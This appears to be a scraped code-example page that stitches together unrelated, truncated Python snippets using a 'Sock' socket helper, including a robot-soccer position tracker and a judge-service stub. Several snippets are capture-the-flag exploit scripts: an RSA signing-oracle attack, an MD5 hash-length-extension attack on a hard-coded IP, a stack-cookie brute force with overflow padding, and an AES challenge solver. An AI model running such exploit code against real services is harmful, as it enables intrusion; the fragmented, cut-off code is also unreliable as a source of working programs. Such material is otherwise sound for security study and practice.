            return [result[0][3],result[1][3]]
        else:
            return None
    
    # returns the xy-coordinates of the current position of the ball on the pitch    
    def get_ball_position(self):
        if (self.__ball_node):
            result = self.calc_position(self.__ball_node)
        else:
            return None
        return [result[0][3],result[1][3]]
        
        
    # IS CALLED BY get_position methods, YOU DON'T NEED to call it on your own!
    # Use get_position(team, player_id) or get_position_xy(team, player_id) to get a nao's position
    # and get_ball_position() to get the ball's position instead
    # calculates the position of a mobile entity by multiplying the transformation matrixes from the root down to the given node   
    def calc_position(self, node):
        parent = node.get_parent()
        matrices = []
        while (parent != self.__root):
            matrices.append(parent.get_matrix())
            parent = parent.get_parent()
        result = matrices.pop()
        while (len(matrices) > 0):
            result = numpy.dot(result, matrices.pop())
        return result
    
    
    # returns the dictionary containing the nao id : node id pairs of the left team
    def get_naos_left(self):
        return self.__naos_left
    
    # returns the dictionary containing the nao id : node id pairs of the right team
    def get_naos_right(self):
        return self.__naos_right

    # find node with id
    def find_node(self, node_id):
        #for node in self.__nodes:
        #    if node.get_id() == node_id:
        if(self.__nodes[node_id]):
                return self.__nodes[node_id]
        print 'Node not found'
    
    # returns the socket that is used to receive data
    def get_socket(self):
        return self.__socket
示例#36
0
class Client(TCP):
    """An object that makes it easier to use the protocol to communicate with the server."""
    def __init__(self, (ip, port)):
        """(ip, port) is the ip and port combination you would pass to socket.bind.."""
        self.sock = Sock()
        super(Client, self).__init__((ip, port))
示例#37
0
import ast
from sock import Sock
from libnum import *

N = 172794691472052891606123026873804908828041669691609575879218839103312725575539274510146072314972595103514205266417760425399021924101213043476074946787797027000946594352073829975780001500365774553488470967261307428366461433441594196630494834260653022238045540839300190444686046016894356383749066966416917513737
E = 0x10001
sig_correct = 22611972523744021864587913335128267927131958989869436027132656215690137049354670157725347739806657939727131080334523442608301044203758495053729468914668456929675330095440863887793747492226635650004672037267053895026217814873840360359669071507380945368109861731705751166864109227011643600107409036145468092331
C = int(open("flag.enc").read())

f = Sock("crypto.chal.csaw.io 8002")
f.send_line("2")
f.read_until("no")


def sign(val):
    f.send_line("yes")
    f.send_line("%d" % val)
    sig, mod = map(int,
                   f.read_until_re(r"signature:(\d+), N:(\d+)\s").groups())
    assert mod == N
    return sig


try:
    bits, vals = ast.literal_eval(open("dump").read())
except:
    bits, vals = {}, []
vals = set(vals)

print len(bits), "known bits"
num = 2
示例#38
0
 def __init__(self):
     self.sock = Sock()
     self.db = DB('music', 'postgres', 'dj')
示例#39
0
文件: parlor.py 项目: ff-/my-slides
 
dll = ctypes.cdll.LoadLibrary("./fast.so")

def extend(data, hash, append, length=16):
    # when we know hash - we use hash_extender for more flexibility
    s = subprocess.check_output(["hash_extender", "-d", data, "-s", hash, "-a", append, "-l", str(length), "-f", "md5"])
    lines = s.splitlines()
    sig = lines[2].strip().split()[-1]
    s = lines[3].strip().split()[-1].decode("hex")
    return s, sig
 
 
p1 = "x\n"
app = "1\n"
 
f = Sock("54.197.195.247 4321", timeout=1000)
f.read_one()
f.send("1\n")
f.read_one()
f.send("100\n")
f.read_one()
f.send("2\n")
f.read_one()
f.send("0\n")
f.read_one()
f.send("3\n")
f.read_one()
f.send(p1)
n = int(f.read_until_re(r"generated (\d+),").group(1))
lowhash = n2s(n).rjust(16, "\x00").encode("hex")[7:]
print lowhash
示例#40
0
import string
from sock import Sock

s = Sock('127.0.0.1', 1235)
l = 0
s.read_until('[2] Memory management\r\n')
s.send('2\r')
r = s.read_until('[2] Memory management\r\n')
used = int(r.split('\r\n')[1].split()[-2])
i = 4088 - used
print "Stack cookie is at offset: %s" % i

cookie = ''
for x in range(60, 256):
    s.send('1\r')
    s.read_until('Token can only contain the characters [A-Z/a-z/0-9]\r\n\r\n')
    if not cookie:
        d = 'A' * i
        s.send(d + cookie + chr(x) + '\r')
        o = s.read_line()
        if 'Welcome' in o:
            cookie += chr(x)
            print "Cookie found: ", repr(cookie)
            break
    r = s.read_until('[2] Memory management\r\n')

d = (string.uppercase * 10)[:i]
flag = ''
for x in range(4):
    v = 0xcf + x * 8
    s.send('1\r')
示例#41
0
#!/usr/bin/python
import sys, time, os
from multiprocessing import Process, Queue
import json

from sock import Sock

from config import config

sock = Sock({
    "port_in": config['judge_service']['port'],
    "port_out": config['firewall']['port'],
    "ip_in": config['judge_service']['ip'],
    "ip_out": config['firewall']['ip']
})


def process_socket(q):

    r = sock.socket_r()

    while True:
        pkg = sock.get_package(r)
        q.put(pkg)


from random import randint


def judge(data):
示例#42
0
from sock import Sock
from tqdm import tqdm
from itertools import product
from Crypto.Cipher import AES

so = Sock('01.cr.yp.toc.tf:17010')


def xor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])


so.read_until(b'[Q]uit\n')
so.send_line(b'g')

flag = so.read_line().strip().split(b' ')[-1]
flag = bytes.fromhex(flag.decode())

pt = [b'a' * 16 + b'b' * 16, b'a' * 16 + b'c' * 16]
ct = []
i = 0
while len(ct) < 2:
    so.read_until(b'[Q]uit\n')
    so.send_line(b't')
    so.read_line()
    so.send_line(pt[i])

    enc = so.read_line().strip().split(b' ')[-1]
    key = so.read_line().strip().split(b' ')[-1][:-4]
    print(key)
    if enc.index(b'*') < 3: